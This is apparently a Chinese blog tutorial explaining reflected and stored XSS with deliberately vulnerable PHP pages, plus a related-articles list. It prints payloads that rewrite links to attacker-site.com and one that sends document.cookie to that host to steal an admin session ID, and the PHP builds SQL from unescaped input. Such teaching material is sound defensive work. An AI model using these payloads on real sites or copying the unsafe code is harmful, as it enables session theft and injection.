xss表示Cross Site Scripting(跨站脚本攻击)，它与SQL注入攻击类似，SQL注入攻击中以SQL语句作为用户输入，从而达到查询/修改/删除数据的目的，而在xss攻击中，通过插入恶意脚本，实现对用户游览器的控制。

xss攻击可以分成两种类型：

  1. 非持久型攻击
  2. 持久型攻击

下面我们通过具体例子，了解两种类型xss攻击。

1.非持久型xss攻击

顾名思义，非持久型xss攻击是一次性的，仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接，用户访问该链接时，被植入的攻击脚本被用户游览器执行，从而达到攻击目的。

假设有以下index.php页面：

  1. <?php
  2. $name = $_GET['name'];
  3. echo "Welcome $name<br>";
  4. echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";
  5. ?>

该页面显示两行信息：

  • 从URI获取 'name' 参数，并在页面显示
  • 显示跳转到一条URL的链接

这时，当攻击者给出以下URL链接：

  1. index.php?name=guest<script>alert('attacked')</script>

当用户点击该链接时，将产生以下html代码，带'attacked'的告警提示框弹出：

  1. Welcome guest
  2. <script>alert('attacked')</script>
  3. <br>
  4. <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

除了插入alert代码，攻击者还可以通过以下URL实现修改链接的目的：

  1. index.php?name=
    <script>
    window.onload = function() {
    var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
    </script>

当用户点击以上攻击者提供的URL时，index.php页面被植入脚本，页面源码如下：

  1. Welcome
  2. <script>
  3. window.onload = function() {
  4. var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
  5. </script>
  6. <br>
  7. <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

用户再点击 "Click to Download" 时，将跳转至攻击者提供的链接。

对于用于攻击的URL，攻击者一般不会直接使用以上可读形式，而是将其转换成ASCII码，以下URL同样用于实现链接地址变更：

  1. index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

2.持久型xss攻击

持久型xss攻击会把攻击者的数据存储在服务器端，攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。

session背景知识

我们知道HTTP是一个无状态维持的协议，所有请求/应答都是独立的，其间不保存状态信息。但有些场景下我们需要维护状态信息，例如用户登录完web应用后，再一定时间内，用户再进行登录，应不需要再输入用户名/密码进行鉴权。

这时我们用cookie和session解决状态维护问题，当用户首次登入时，服务器为该用户创建一个 session ID，同时向游览器传送一个 cookie，cookie保存会话连接中用到的数据，session ID作为会话标识，游览器后续的请求均基于该session ID。

攻击者可以提供一个攻击链接，当用户点击该链接时，向攻击者自己的服务器发送一条保存有用户session ID的信息，这样就可以窃取到用户的session ID，得到用户的执行权限。

现有以下login.php，其根据 user_name 在数据中查找相应的 pass_word，然后将用户提供的 password 与查数据库所得的 pass_word 进行比较，如果验证成功则创建对应于 user_name 的 session。

  1. <?php
  2. $Host= '192.168.1.8';
  3. $Dbname= 'app';
  4. $User= 'yyy';
  5. $Password= 'xxx';
  6. $Schema = 'test';
  7.  
  8. $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
  9.  
  10. /* Connect with database asking for a new connection*/
  11. $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
  12.  
  13. /* Error checking the connection string */
  14. if (!$Connect) {
  15.  echo "Database Connection Failure";
  16.  exit;
  17. }
  18.  
  19. $query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
  20.  
  21. $result=pg_query($Connect,$query);
  22. $row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
  23.  
  24. $user_pass = md5($_POST['pass_word']);
  25. $user_name = $row['user_name'];
  26.  
  27. if(strcmp($user_pass,$row['password'])!=0) {
  28.  echo "Login failed";
  29. }
  30. else {
  31.  # Start the session
  32.  session_start();
  33.  $_SESSION['USER_NAME'] = $user_name;
  34.  echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
  35. }
  36. ?>

另有以下home.php，其根据登入的用户是 admin 还是其他用户，显示不同内容，对于admin，其列出所有用户，对于其他用户，提供包含输入框的form，可在数据库中插入新的用户名信息。

  1. <?php
  2. session_start();
  3. if(!$_SESSION['USER_NAME']) {
  4.  echo "Need to login";
  5. }
  6. else {
  7.  $Host= '192.168.1.8';
  8.  $Dbname= 'app';
  9.  $User= 'yyy';
  10.  $Password= 'xxx';
  11.  $Schema = 'test';
  12.  $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
  13.  $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
  14.  if($_SERVER['REQUEST_METHOD'] == "POST") {
  15.   $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
  16.   pg_query($Connect,$query);
  17.   echo "Update Success";
  18.  }
  19.  else {
  20.   if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
  21.    echo "Welcome admin<br><hr>";
  22.    echo "List of user's are<br>";
  23.    $query = "select display_name from $Schema.members where user_name!='admin'";
  24.    $res = pg_query($Connect,$query);
  25.    while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
  26.     echo "$row[display_name]<br>";
  27.    }
  28.  }
  29.  else {
  30.   echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
  31.   echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
  32.   echo "<input type=\"submit\" value=\"Update\">";
  33.  }
  34. }
  35. }
  36. ?>

注意以上场景中，对 admin 和其他用户进行了不同的权限设置，admin可以看到所有用户列表，下面我们来看如何获取 admin 的session ID，从而使得其他用户也能获得 admin 的权限。

首先，攻击者以一个普通用户登录进来，然后在输入框中提交以下数据：

  1. <a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a>

攻击者提交了条带<a>标签的数据，该条数据将保存在数据库中，而当 admin 用户登入时，包含 "bangerlee" 的用户列表将显示，如果 admin 用户点击 "bangerlee" 时，在 "attacker-site.com" 所在的服务器上，攻击者就可以窃取到 admin 的session-id：

  1. xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

有了该session-id，攻击者在会话有效期内即可获得 admin 用户的权限，并且由于攻击数据已添加入数据库，只要攻击数据未被删除，那么攻击还有可能生效，是持久性的。

当然，不是只有持久型xss攻击才能窃取session ID、用户的cookie信息，用非持久型xss也可以，只要引导用户点击某链接，将 document.cookie 信息传到指定服务器即可，以上仅作为说明持久型xss攻击的举例。

xss---攻击的更多相关文章

  1. 防御XSS攻击-encode用户输入内容的重要性

    一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...

  2. 防止XSS攻击的方法

    什么是XSS? 使用Jsoup来防止XSS攻击 Jsoup官网 Jsoup中文 maven包引入 <dependency> <groupId>org.jsoup</gro ...

  3. PHP通用的XSS攻击过滤函数，Discuz系统中 防止XSS漏洞攻击，过滤HTML危险标签属性的PHP函数

    XSS攻击在最近很是流行,往往在某段代码里一不小心就会被人放上XSS攻击的代码,看到国外有人写上了函数,咱也偷偷懒,悄悄的贴上来... 原文如下: The goal of this function ...

  4. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  5. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  6. XSS攻击

    什么是XSS? http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html XSS攻击及防御? http://blog.csdn. ...

  7. 文本XSS攻击过滤

    在FCK或百度编辑器等常用富文本编辑器中,通常是会被XSS攻击 处理方法: 文本框模拟输入了以下文本 <span style="dispaly:none" onclick=& ...

  8. XSS攻击的解决方法

    在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今 ...

  9. 前端安全之XSS攻击

    XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”.有人将XSS攻击分为三种,分别是: 1. Reflected XSS(基于反射 ...

  10. textarea与XSS攻击

    textarea用法 一般是用来接收用户输入,用于提交到服务器端,例如 网站的评论框. 如果此框也用于显示服务器端回传的内容,则有如下两种用法 法1 后台直接插入 <textarea>&l ...

随机推荐

  1. 申请社交平台appkey详细教程

    申请社交平台appkey详细教程 大部分app都需要实现分享到微信.微博等社交平台的功能,但是在各个平台上申请appkey是一件很繁琐的事情.现在来分享一个申请社交平台appkey详细教程,在开发过程 ...

  2. 图文详解安装PHP运行环境

    一.什么是PHP运行环境 能够理解人与计算机交流时语言软件,通常指解释PHP编程语言的软件. 例如: PHP(代码) 需要PHP超文本预编译器(软件). Java需要JVM虚拟机 二.安装PHP运行环 ...

  3. python 学习分享-常用模块篇

    模块 就是前人给你造的轮子,你开车就好!!! 常用模块有: time模块 random模块 os模块 sys模块 shutil模块 json  &  picle模块 shelve模块 xml处 ...

  4. JavaScript: 理解对象

    ECMA-262 把对象定义为:“无序属性的集合,其属性可以包含基本值.对象或者函数.” 严格来讲,这就相当于说对象是一组没有特定顺序的值.对象的每个属性或者方法都有一个名字,而每个名字都映射到一个值 ...

  5. 字符串匹配算法（在字符串T中查找是否有与字符串P相同的子串）

    T称为目标串(Target)或主串 ,P称为模式串(Pattren) 或子串 1. 简单字符串模式匹配算法 原理:用字符串P的字符依次与字符串T中的字符进行比较,首先将字符串P从第0个位置起与主串T的 ...

  6. 习题：八数码难题（双向BFS）

    八数码难题(wikioi1225) [题目描述] 在3×3的棋盘上,摆有八个棋子,每个棋子上标有1至8的某一数字.棋盘中留有一个空格,空格用0来表示.空格周围的棋子可以移到空格中.要求解的问题是:给出 ...

  7. 服务器提交了协议冲突。Section=ResponseHeader Detail=标头名称无效

    服务器提交了协议冲突.Section=ResponseHeader Detail=CR 后面必须是LF. 微软没有容忍不符合RFC 822中的httpHeader必须以CRLF结束的规定的服务器响应所 ...

  8. ZOJ 2676 Network Wars（最优比例最小割）

    Network Wars Time Limit: 5 Seconds      Memory Limit: 32768 KB      Special Judge Network of Bytelan ...

  9. [HEOI2016/TJOI2016][bzoj4554] 游戏 [建图+最大流]

    题面 传送门 思路 看到棋盘摆放和棋子冲突,再加上这么小的数据范围,你能想到什么? 网络流棋盘模型啊! 就是 把源点连到每一行,每一列连到汇点,再在中间...... 等等,这道题每行不一定全部冲突?? ...

  10. oracle 修改数据 保险方法

    oracle 中修改比较安全的方法:(pl/sql) 第一种方法: select * from temp where id=9 for update; 第二种方法: select t.*,rowid ...